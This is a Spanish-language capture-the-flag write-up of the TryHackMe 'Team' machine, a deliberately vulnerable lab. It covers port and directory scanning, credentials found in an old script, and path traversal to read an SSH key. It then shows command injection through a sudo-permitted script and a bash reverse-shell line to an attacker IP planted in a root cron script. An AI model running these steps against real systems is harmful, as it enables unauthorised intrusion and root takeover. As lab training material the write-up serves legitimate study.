Team
February 9, 20236 minutes
https://tryhackme.com/room/teamcw
IP Atacante = 10.10.10.10
IP Víctima = 10.10.67.245
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
$ ping -c 1 10.10.67.245
PING 10.10.67.245 (10.10.67.245) 56(84) bytes of data.
64 bytes from 10.10.67.245: icmp_seq=1 ttl=63 time=49.5 ms
--- 10.10.67.245 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 49.502/49.502/49.502/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.67.245 -oG allports
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.67.245
5 │ [*] Open ports: 21,22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
$ nmap -p21,22,80 -sC -sV 10.10.67.245 -oN versions
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 795f116aa85c20824306cd488741b794d (RSA)
| 256 af7e3aaf7eb4865883f1f6a254a69bbaad (ECDSA)
|_ 256 2625ba07bdc3fb29437125dcd0698c79f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Whatweb
Ejecutamos un whatweb para ver más información sobre la web
$ whatweb 10.10.67.245
http://10.10.67.245 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.67.245], Title[Apache2 Ubuntu Default Page: It works! If you see this add 'team.thm' to your hosts!]
En el titulo pone que hay que añadir team.thm en el /etc/hosts
Web team.thm
Reconocimiento
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://team.thm/FUZZ
000000291: 301 9 L 28 W 305 Ch "assets"
000000274: 301 9 L 28 W 306 Ch "scripts"
000000016: 301 9 L 28 W 305 Ch "images"
Volvemos a hacer el escaneo sobre el directorio scripts con el diccionario SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt
$ wfuzz -c -t 200 --hc=404,403 -w /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt "http://team.thm/scripts/FUZZ.txt"
000000297: 200 21 L 71 W 597 Ch "script"
Contenido del script.txt
#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit
# Updated version of the script
# Note to self had to change the extension of the old "script" in this folder, as it has creds in
Al final vemos que hay una nota que dice que tuvieron que cambiar la extensión del script antiguo porque tenía CREDENCIALES
Vamos a hacer fuzzing con wfuzz usando un diccionario de extensiones.
$ wfuzz -c -t 200 --hc=404,403 -w /opt/SecLists/Fuzzing/extensions-skipfish.fuzz.txt "http://team.thm/scripts/script.FUZZ"
000000086: 200 21 L 71 W 597 Ch "txt"
000000053: 200 18 L 44 W 466 Ch "old"
Ya tenemos la extensión del antiguo script. Si lo abrimos vemos las credenciales del usuario ftpuser
Ftp
Nos conectamos por ftp como ftpuser. Dentro vemos que hay un archivo que se llama New_site.txt
que nos lo podemos bajar a nuestra máquina con un get get New_site.txt
para ver su contenido
El contenido del archivo es un mensaje dirijido de gyles a dale en el cual se dice que están empezando a programar una nueva web en un subdominio llamado dev y también dice que hay una copia del id_rsa en el archivo de configuración del ssh
Esto lo podríamos haber encontrado antes con gobuster:
$ gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u team.thm -t 50 --append-domain
Found: dev.team.thm Status: 200 [Size: 187]
Subdominio dev.team.thm
Antes que nada es importante añadir el subdominio dev al /etc/hosts
Al entrar a http://dev.team.thm/ vemos que hay un link a http://dev.team.thm/script.php?page=teamshare.php viendo la url podemos ver que a lo mejor podemos hacer Directory Traversal Que consiste en salir del directorio y poder ver archivos del servidor
Al probar de ir a http://dev.team.thm/script.php?page=../../../../etc/passwd Vemos que nos muestra el /etc/passwd
Si recordamos lo que ponía en la nota de ftp, había una parte que decía que habían puesto el id_rsa de dale en el archivo de configuración del ssh así que podemos probar de ver el archivo /etc/ssh/sshd_config
Nos lo guardamos en un archivo llamado id_rsa le damos permisos con chmod chmod 600 id_rsa
, por último nos conectamos por ssh ssh -i id_rsa dale@10.10.67.245
Escalada de privilegios
Gyles
Con sudo -l vemos que podemos ejecutar un archivo como gyles sin proporcionar contraseña
dale@TEAM:~$ sudo -l
User dale may run the following commands on TEAM:
(gyles) NOPASSWD: /home/gyles/admin_checks
Si le hacemos un cat podemos ver que hay una parte en la cual se guarda un input nuestro ($error) y lo ejecuta
#!/bin/bash
printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null
date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak
printf "Stats have been backed up\n"
dale@TEAM:~$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: test
Enter 'date' to timestamp the file: /bin/bash
The Date is
whoami
gyles
Ya somos gyles
(Para que salga el prompt podemos poner script /dev/null -c bash
)
Root
En el directorio /opt/admin_stuff
hay un script de root
-rwxr--r-- 1 root root 200 Jan 17 2021 script.sh
con lo siguiente:
#!/bin/bash
#I have set a cronjob to run this script every minute
dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site
Podemos ver que ejecuta dos scripts y dice que este archivo se ejecuta cada minuto automáticamente como root
Este archivo no lo podemos modificar pero el main_backup.sh
sí.
Lo que vamos a hacer es dentro del main_backup.sh
poner lo siguiente para mandarnos una reverse shell por el puerto 443
bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"
Nos ponemos en escucha por el puerto 443 con nc y a esperar
Recibimos la reverse shell como root!